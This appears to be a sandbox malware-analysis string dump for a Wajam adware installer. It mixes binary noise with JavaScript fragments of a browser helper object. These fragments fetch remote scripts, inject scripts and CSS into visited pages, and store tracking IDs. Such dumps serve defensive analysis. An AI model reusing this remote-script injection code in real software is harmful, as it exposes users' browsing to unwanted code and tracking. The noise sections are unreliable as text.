ct = script_array[j];str += priam.Trace.add(method_name,'script_object: '+script_object);script_id = script_object.id;str += priam.Trace.add(method_name,'script_id: '+script_id);// Try get script from preferencespath_key = 'supported_sites.'+siteName+'.';prefKey = path_key+script_id;priam.Preferences.get(prefKey, function(response){try {var script = response.value;// Developer Flag debug_reload_scriptif (debug_reload_script == 'true') {script = null; // Will request this script from server}if (script === null || script === undefined || script === '' || script === 'null') {str += priam.Trace.add(method_name,'Didn\'t found '+script_id+' in preferences, requesting server');priam.Url.getScript(script_object.path,function(url) {str += priam.Trace.add(method_name,'Requesting script - id:\''+script_id+'\', url:\''+url+'\'');priam.Preferences.requestScr

Ansi based on Dropped File (priam_bho.dll.1505483275)

ction() {var method_name = 'openFirstRunDownloadPage';try {//OPENING FIRST RUN DOWNLOAD PAGE// URL - Firstrunvar _firstRunDownloadUrl = priam.background.url.getFirstRun();// First run tracking. Ajax call only, Don't open first run urlpriam.background.util.download(_firstRunDownloadUrl, function(){});priam.background.trace.add(method_name,'first run url: '+_firstRunDownloadUrl);}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}},/** * Verify if a new installation from scratch occurs. If so calls 'openFirstRunDownloadPage' procedure. * If not, Verify if it is an upgrade of an old version. If so calls 'openNewVersionDownloadPage' procedure. */processInstallationUpgrade: function() {var method_name = 'processInstallationUpgrade';var str = '';try {//CHECK FIRST TIME INSTALLATIONvar isFirstTimeInstallation = priam.background.preferences.get('firstrun');//COMPARE VERSION

Ansi based on Dropped File (priam_bho.dll.1505483275)

ctls_progress32

Unicode based on Dropped File (inetc.dll.1181384010)

CtPMuP^[_]USVu3W;to=Ath;t^9uZ;t9uPRYY;t9uPRYYYY;tD9u@-P+P+P=At9uP#NcYY~PEAt;t9uP>Y9_tG;t9uP'YMuVY_^[]UW}t;Et4V0;t(W8jYtV>Yu@AtVsY^3_]jhcAUAFpt"~lt>pluj Yj`3Ye5AlVYYYEEjY2YujT1A1AUu5(A1A]$AV5(A1Au5AX1AV5(A1A^Uuu5AX1A]$AtP5AX1A

Ansi based on Dropped File (nsqE177.tmp)

CtPMuP_^[]UW}SV5h0AWtPtPtPtP_PE{AttP{t

Ansi based on Dropped File (nsqE177.tmp)

CUBS+VW}e+AMAE]]MEj^@yf=Zt}#t}.teE=dCtj^y7?C@PWSh(@h?uW%uhW@q$uhhW@3XC3N;t9MtWQQt5Ct8EPt5Cd@uWuP@u@u'u?t}uhT@WHWDu.u5CWl

Ansi based on Dropped File (nsqE177.tmp)

cument);break;case priam.Config.event_name.update_script:str += priam.Trace.add( method_name, priam.Config.event_name.update_script);priam.Events.onEventPriamUpdateScript(event);break;case 'callDestinationMethod':str += priam.Trace.add( method_name,'callDestinationMethod: '+siteObject.support_iframe);if (siteObject.support_iframe === true) {priam.Events.onEventCallDestinationMethod(event);}break;case 'clear_mapping_list':// Listener for clearing the mapping listvar listener_clear_mapping_list_value = siteObject.listener_clear_mapping_list;str += priam.Trace.add( method_name,'clear_mapping_list: '+listener_clear_mapping_list_value);if (listener_clear_mapping_list_value === true) {priam.listener.on_clear_mapping_list(e);}break;default:break;}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_nam

Ansi based on Dropped File (priam_bho.dll.1505483275)

CVAV~^UVu3ut;ur^]U=AthAYt

Ansi based on Dropped File (nsqE177.tmp)

CW3$(BS#PjuP@9]tSSuL@EhC3_^[@@@@@#@L@@@>@@e@@@E@@#@J@e@@@@@

Ansi based on Dropped File (nsqE177.tmp)

CWDIllegalInDLLSearch

Unicode based on Runtime Data (IE_approveExt.exe )

CY}uF+4Au}uyG,j@j YYEtaAA ;s@@

Ansi based on Dropped File (nsqE177.tmp)

c{:+b`Qx)

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

C{O-r0V6<nvoXkz6pp?< uR,,~&+o?DZH60;|

Ansi based on Dropped File (nsqE177.tmp)

C}W=8@Eu3VhVSu#Su@`B}hujE@yS]SjjSjW@]VtVuV$VCu@}w4jSw0jSujsju}E;uMfAE=j3Y}uE(BhBE}E?J@uEEPEAT@tVP@VLCt(tCu Pj\WBW@tWV>BVSuXE}t

Ansi based on Dropped File (nsqE177.tmp)

D$"pCt$P$P(@D$c u@8 t8"D$ u@D$"8/u3@8SuH u8NCRCuH ux /D=tt$PS$8"u@:uXPhtC)CUhH@u$hU@h@U)bhCD@V;D$ul9CtMSW#> _?=tN;s;D$\@rkV\$t1VhtCy(VhxCn(\$

Ansi based on Dropped File (nsqE177.tmp)

D$(+D$ SSP

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

d$D$_^][YL$|+VpAWxt~u

Ansi based on Dropped File (nsqE177.tmp)

D%B>,.?@[j:MqG]Q-_s8(U-6?%+L[--nH

Ansi based on Dropped File (nsqE177.tmp)

D%OH$UMPI

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

d'Vy1}}1|A-d

Ansi based on Dropped File (nsqE177.tmp)

d(method_name,'Added listener: \''+priam.Config.event_name.bmAutoSyncOff+'\'');}}else {str += priam.Trace.add(method_name,'Using attachEvent');_document.documentElement.attachEvent('onpropertychange', //documentElementfunction(event){priam.ext.onEventReceived(event,siteObject,_document);});str += priam.Trace.add(method_name,'Added attachEvent: \'onpropertychange\'');}priam.Page.insertAllCss(_document, siteObject.css, mappingList.css,siteObject.support_https);str += priam.Trace.add(method_name,'Inserted all css');priam.Page.insertAllScript(_document, siteObject.js_files, siteName, true);str += priam.Trace.add(method_name,'Inserted all scripts');}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},processSiteLookup: function(_document,mappingList) {var method_name = 'processSiteLookup';var str = '';try {// Look

Ansi based on Dropped File (priam_bho.dll.1505483275)

d(method_name,'Script found - replacing \''+id+'\' at\: '+_document.location);//UPDATEelemScript.parentNode.replaceChild(new_script,elemScript);// Developer Flag debug_show_inserted_scriptsvar debug_show_inserted_scripts = prefs['debug_show_inserted_scripts'];if (debug_show_inserted_scripts == 'true') {priam.ext.show('(debug_show_inserted_scripts)\n'+'insertScript\n\n'+'id: \''+id+'\'\n'+'forceUpdate');}}}else {var handleTimeout = null;function insertHead() {var method_name = 'insertHead';var str = '';try {var head_elem = _document.getElementsByTagName('head')[0];str += priam.Trace.add(method_name,'Checking head: ' + head_elem);if (head_elem) {str += priam.Trace.add(method_name,'Found head at \''+_document.location+'\'');//INSERTING THE NODEstr +

Ansi based on Dropped File (priam_bho.dll.1505483275)

D+"nEsjt@Z[:(B(A|[+

Ansi based on Dropped File (nsqE177.tmp)

d-,`t&AC.$7!1OA.GwP2b;lKtvcSsZ#z\"!A1FE^.ak--@*n=v)89CrFrzlM_]?0P0<|J,_o-S_Mt,Ci!#"

Ansi based on Dropped File (nsqE177.tmp)

d.trace.add(method_name,'JSON Received: ' + jsonString);if (jsonString !== '') {var jsonData = null;try {jsonData = JSON.parse(jsonString);}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}var valid = priam.background.util.isValidFlagInfo(jsonData);if (valid === true) {// Flag for bookmarks synchronizationvar bmAutoSync = jsonData.sync_bookmarks; // Autosync bookmarks {'0':ON, '1':OFF}var bmAlreadySynced = jsonData.import_bookmarks; // User already synched all. {'0': yes, '1': no}if (bmAutoSync!=undefined && bmAlreadySynced!=undefined) {bmAutoSync += '';bmAlreadySynced += ''; str += priam.background.trace.add(method_name,'bmAutoSync: '+bmAutoSync);str += priam.background.trace.add(method_name,'bmAlreadySynced: ' + bmAlreadySynced);// SAVING TO PREFERENCESswitch (bmAutoSync) {case '0':

Ansi based on Dropped File (priam_bho.dll.1505483275)

D7u_^[Y]@w@@UhSVW@@@t@ftf@

Ansi based on Dropped File (nsqE177.tmp)

d:\Projects\Visual Studio\NSIS Plugins\IpConfig\Output\Plugins\IpConfig.pdb

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

D;|;9wfC1ED;Ox|;0tfVEffS1

Ansi based on Dropped File (nsqE177.tmp)

d=GG(d,a,b,c,x[k+10],S22,0x2441453);c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);d=HH(d,a,b,c,x[k+8], S32,0x8771F681);c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);b=HH(b,c,d,a,x[k+6], S34,0x4881D05);a=HH(a,b,c,d,x[k+9], S31,0xD9D4D

Ansi based on Dropped File (priam_bho.dll.1505483275)

D>ClaX@ QyaC$j+dx^HT)A~/dyv~DK3S_}`U^crBi{)|Mj31kjI

Ansi based on Dropped File (nsqE177.tmp)

d@1@h0@@10@td

Ansi based on Dropped File (nsqE177.tmp)

D\{431532BD-0AE1-4ABC-BE8C-919F3D1332E2}\InProcServer32

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

dA3;t;|7u@O2W-;|WhA;hA;U`At5$AYEE]USVW3hTAh]}}}i;t9}tuT0AXhXAu]}}}1;thYAu40AW5T0A9}tu9}tu_^[V5lAWj_h.@F,P40A,uhZAeY_S0A0QP43<DH<0P,4hZAY[_^UDA3EVWEPuhhPm<3fE39LuPh<Y,VW0A;tWPWjWWWjV0AVX0AM_3^k UEHV5lAtHtSHtPHtMHtJh[AAY;X0A0P,40AjjjP1A^]US]W3;u@1Vq(9>uVh\AjWh2A2Ax6VP^_[]AUSVW3 AS

Ansi based on Dropped File (nsqE177.tmp)

DA3ESlAV3WjP\APXA\Ac7x`vWP>uQP$AVPS0Au XQ;uz83ftf'uG;sfG;r33f;tW0A;tx50Aj"XfPDPPhP~CtO@Pj"Yf3fPhl\AP;;|DPh|\AP;|&9}tjWh\APjeZ)M_^3[\.UVu3E;jVV00AE;Sjh,AP,0A 0AE;tkWVVVVVVVjjjP(0AAAP5$A}E;uEPjuu$0AuFHJ_PRu[E^UVEtVg-Y^]j "#A3V02AuuEXAMuuEu}]Eu1A$2A3TEh0A5,A<A4A0A3VVj5PA1A!@UQ=\At"e`0APMa<uEEUSjju0AtPu\YYu3nV3y

Ansi based on Dropped File (nsqE177.tmp)

DA3ESt3@VWVP3W0A;t;t{j"Yfh?fW3Wf00A;u[Ph

Ansi based on Dropped File (nsqE177.tmp)

dateMappingList';try {var old_mapping_list_string = priam.background.preferences.get('mappingListJsonString');if (old_mapping_list_string !== null) {var old_mappingList = null;try {old_mapping_list = JSON.parse(old_mapping_list_string);}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}var valid = priam.background.util.isValidMappingList(old_mapping_list);if (valid === true) {// URL - Mappingvar mapping_url = priam.background.url.getMapping();// Developer Flag debug_show_load_mapping_listvar debug_show_load_mapping_list = priam.background.preferences.get('debug_show_load_mapping_list');if (debug_show_load_mapping_list == 'true') {priam.background.ext.show('(debug_show_load_mapping_list)\n'+'\'update_mapping_list\'\n\n'+'url:\n'+mapping_url);}priam.background.util.download(mapping_url, function(url, co

Ansi based on Dropped File (priam_bho.dll.1505483275)

DAu-U]Q3A!YUVEtVY^]UEQP!YY@]UeVuu$$j^0#j$hVrEt@ME|@Ws#j^0|

Ansi based on Dropped File (nsqE177.tmp)

DcryptDll.dll

Ansi based on Dropped File (DcryptDll.dll.2046955531)

dCUEPCEPjj"P@pP@#E]U@}ujhju@E}uL

Ansi based on Dropped File (nsqE177.tmp)

dddd, MMMM dd, yyyy

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

ddedOrModified

Unicode based on Dropped File (priam_bho.dll.1505483275)

debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.bmAutoSyncOn+'\'');}priam.Events.onEventBmAutoSyncOn(e);},on_clear_mapping_list: function(e) {var method_name = 'on_clear_mapping_list';var debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.clear_mapping_list+'\'');}priam.Preferences.cleanPriamPref('mappingListJsonString');},on_just_logged_in: function(e) {var method_name = 'on_just_logged_in';// Developer Flag debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.justLoggedIn+'\'');}priam.Events.onEventJustLoggedIn(e);},

Ansi based on Dropped File (priam_bho.dll.1505483275)

DecayDateQueue

Unicode based on Runtime Data (iexplore.exe )

DecodePointer

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

DEFAULT: Default browser is iexplore.exe

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DEFAULT: Finding the default browser in: %PROGRAMFILES%\Internet Explorer\iexplore.exe

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DefaultIPGateway

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DefWindowProcA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DefWindowProcW

Ansi based on Dropped File (priam_bho.dll.1505483275)

delete service

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Delete: "%PROGRAMFILES%\Wajam\IE\IE_approveExt.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Delete: "%PROGRAMFILES%\Wajam\IE\uninstall.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Delete: "%PROGRAMFILES%\Wajam\IE\waitBHOEnable.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Delete: "%PROGRAMFILES%\Wajam\IE\wajam.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Delete: "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Delete: DeleteFile failed("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Delete: DeleteFile on Reboot("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Delete: DeleteFile("%PROGRAMFILES%\Wajam\IE\IE_approveExt.exe")

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Delete: DeleteFile("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DeleteCriticalSection

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DeleteFileA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DeleteObject

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DeleteRegKey: "%s\%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DeleteRegKey: "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DeleteRegValue: "%s\%s" "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DeleteService

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

DeregisterEventSource

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Description

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Description = '

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DestroyWindow

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

detailprint: %s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DeviceID =

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DevicePath

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DGy$&) H|'Ufa]IjYR[-E01248%l0;/q6|,DbOdZv #D8s4fVo`T!?J{d9y+Vf'8H5EG\R&l3R^Z(C2k>3I ?4'6lvk4)(k6[%@kCiRhQb)3|{Om9CC[?j_V9y-?8Yv2e8Hh"<i[,{4OP

Ansi based on Dropped File (nsqE177.tmp)

DHCPEnabled

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DHCPLeaseExpires

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DHCPLeaseObtained

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DhcpNodeType

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DHCPServer

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Dialog Error

Ansi based on Dropped File (inetc.dll.1181384010)

DialogBoxParamA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DialupUseLanSettings

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

dio initialization

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

DisableBasicOverClearChannel

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisableCachingOfSSLPages

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisableEngine

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisableKeepAlive

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisableLocalOverride

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisableMetaFiles

Unicode based on Runtime Data (IE_approveExt.exe )

DisableNTLMPreAuth

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisableReadRange

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisableUserModeCallbackFilter

Unicode based on Runtime Data (IE_approveExt.exe )

DispatchMessageA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DispatchMessageW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

DisplayIcon

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisplayName

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisplayScriptDownloadFailureUI

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisplayString

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DisplayVersion

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DItQht@ltwf;lu 6uf{4up3uf{2uRdIi@o7u.x%XQ8Yd4St~At+tY+t+ @0 0u t u AQP#YYtFF9|X++3F tBPPP,"yf5t:Ht3t+ APYpegitmnt$otaU78x tff@

Ansi based on Dropped File (nsqE177.tmp)

dj4Q=(T3BD9SY#h~<F+OwmS

Ansi based on Dropped File (nsqE177.tmp)

DllCanUnloadNow

Ansi based on Dropped File (priam_bho.dll.1505483275)

DllGetClassObject

Ansi based on Dropped File (priam_bho.dll.1505483275)

DllInstall

Ansi based on Dropped File (priam_bho.dll.1505483275)

DllRegisterServer

Ansi based on Dropped File (priam_bho.dll.1505483275)

DllUnregisterServer

Ansi based on Dropped File (priam_bho.dll.1505483275)

DnsCacheEnabled

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DnsCacheEntries

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DnsCacheTimeout

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DNSDomain

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DNSEnabledForWINSResolution

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DNSServerSearchOrder

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

DocObject

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

document+'\n';function checkIframeHead(iframe_document) {var head = iframe_document.getElementsByTagName('head')[0];str += priam.Trace.add(method_name,'head: '+head);if (head) {priam.ext.processSiteLookup(iframe_document,mappingList);}else {str += priam.Trace.add(method_name,'Didn\'t found head - setTimeout in 10ms');setTimeout(checkIframeHead,10,iframe_document);}priam.ext.debug(method_name,str);}str += priam.Trace.add(method_name,'Looking for head in iframe');checkIframeHead(iframe_document);}}}catch(e){str += priam.Trace.add(method_name,'Error Message: '+e.message);}}else {str += priam.Trace.add(method_name,'Document is not complete, setTimeout in 10');setTimeout(checkDocumentComplete,10,_document);

Ansi based on Dropped File (priam_bho.dll.1505483275)

DOMAIN error

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

DonnerstagMaiJunJulAugSepOktNovDezJanuarFebruarMrzAprilMaiJuniJuliAugust(Fehler beim Erstellen des Variant-Arrays/Index des Variant-Arrays auerhalb des BereichsUngltige Variant-TypumwandlungUngltige Variant-OperationVariant ist kein ArrayExterne Exception %x$Auswertung von assert fehlgeschlagenSchnittstelle nicht untersttztException in safecall-Methode%s (%s, Zeile %d)Abstrakter FehlerBZugriffsverletzung bei Adresse %p in Modul '%s'. %s von Adresse %pJanFebMrAprGleitkommadivision durch NullGleitkommaberlaufGleitkommaunterlaufUngltige ZeigeroperationUngltige Typumwandlung4Zugriffsverletzung bei Adresse %p. %s von Adresse %pStack-berlaufStrg+C gedrcktPrivilegierte Anweisung(Exception %s in Modul %s bei %p.

Ansi based on Dropped File (nsqE177.tmp)

DontPrettyPath

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DontShowSuperHidden

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

DontUseDNSLoadBalancing

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Downloading

Ansi based on Dropped File (inetc.dll.1181384010)

Downloading %s

Ansi based on Dropped File (inetc.dll.1181384010)

DrawTextA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

DriveMask

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Dvf2P%yt31kCRk&GB(G}3TpW&xZ!T?>5',WhJP\v-+=$W+;eq}5|},V"Ouh,| i2;9^?2?'-s4>d3< k~nD75+eF.]s;EiO-@>ASP&

Ansi based on Dropped File (nsqE177.tmp)

dw)yHP +1War>'),@JS#!;{E5;HZ]oG~o9?S?G4Q"2=zOh@B/z)uW^2Xc[QYgzjM>H}R.nz e\&>)ol=BPaO{,Pl9

Ansi based on Dropped File (nsqE177.tmp)

Dz/MKKKKKKKKKKKKKKKKKKKKGEEHKKKKKKKKKKKKKKKKKKKKKLAZYUm

Ansi based on Dropped File (nsqE177.tmp)

d{-j/<~_h@8*fId! C=zo!Kr/hR;>6{S$QhID&

Ansi based on Dropped File (nsqE177.tmp)

D{`qpZ,$%gbpD3\#ln'i3p SM8cO{+<E68S^VVDDp\4o<ZkVY;cx"<[7|lK3%%q4lb{yiB'YqD<sMcId,CDSzAmIgR=? R46r1/O`"]9(-+OdVN7knaw`h`o-D@Bd1Yc4Hjm-\h`s2@28

Ansi based on Dropped File (nsqE177.tmp)

e v`6'VIEy;'E.$;cXd>T;Er

Ansi based on Dropped File (nsqE177.tmp)

e {str += priam.background.trace.add(method_name, 'No user current mapping version specified, set to \'0\'');priam.background.preferences.set('user_current_mapping_version','0');}// Flag for unique_id (tracking ids)var unique_id = jsonData.unique_id;var isValidUniqueId = priam.background.util.isValidUniqueId(unique_id);if (isValidUniqueId) {priam.background.preferences.set('unique_id',unique_id);str += priam.background.trace.add(method_name,'Unique ID saved');}// Flag for debugging addonpriam.background.preferences.set('log_send_info','false');if (jsonData.send_debug_info) {priam.background.preferences.set('log_send_info','true');}str += priam.background.trace.add(method_name,'Sending trace log: '+priam.background.preferences.get('log_send_info'));if (jsonData.debug_info_log_size) {priam.background.preferences.set('log_info_size',jsonData.debug_info_log_size+'');

Ansi based on Dropped File (priam_bho.dll.1505483275)

E"+!)VyA6zoo,aj0O;{]UaSEzSS>#e x%D!MM~ t

Ansi based on Dropped File (nsqE177.tmp)

E"5 :MtP:uP u@:uMQMQSSSjSSPS< ;Et1ju EPu u5` uu h 4Vt/0t)|$tFPt$ 4V| 33@^=4t94VPj@ 54t$FP 440^$t$""."6"J"V"b"r"""""""""!##&#2#>#L#^#n#########!"!F$V$$$:$*$!$ !h$ !$ $t$""."6"J"V"b"r"""""""""!##&#2#>#L#^#n#########!"!F$V$$$:$*$BGetCurrentProcessGetProcAddressGetModuleHandleAZGetExitCodeProcessWaitForSingleObjectVSleep^TerminateProcesslstrcpyAlstrcpynAGlobalReAlloc

Ansi based on Dropped File (nsqE177.tmp)

E% =Y"R*Dw~iV99SWz9q|ut|_9Gp0k.

Ansi based on Dropped File (nsqE177.tmp)

E(@~YY]10UEE3Uhr@d0d E@E3ZYYdhy@E+~wEYY]1UjjIuQ3Uhl@d0d EPMUEEEEEEEE}EEEEEEPEPEPEPEPMUEUE3ZYYdhs@Eb}EU}v]Ujj3Uh@d0d EPMUEE!EUQEM3ZYYdh@E|]vYY]@U3QQQQQ3Uh{@d0d EPMUE~EEEE:EMUEUE3ZYYdh@ES|EF|u]U3QQQQQQ3Uh"@d0d EPMUEE

Ansi based on Dropped File (nsqE177.tmp)

e, content){var method_name = 'onreadystatechange - '+mapping_url;try {if (code == 200) {var new_mapping_list_string = content;if (new_mapping_list_string) {var new_mapping_list = null;try{new_mapping_list = JSON.parse(new_mapping_list_string);}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}var valid = priam.background.util.isValidMappingList(new_mapping_list);if (valid === true) {priam.background.ext.processMappingListCleanUp(old_mapping_list,new_mapping_list);priam.background.preferences.set('mappingListJsonString',new_mapping_list_string); // Save 'new mappingList' in preferences// Update mapping list versionvar version = new_mapping_list.version;if (version && version!=undefined) {version += '';priam.background

Ansi based on Dropped File (priam_bho.dll.1505483275)

E,k_ySvg}

Ansi based on Dropped File (nsqE177.tmp)

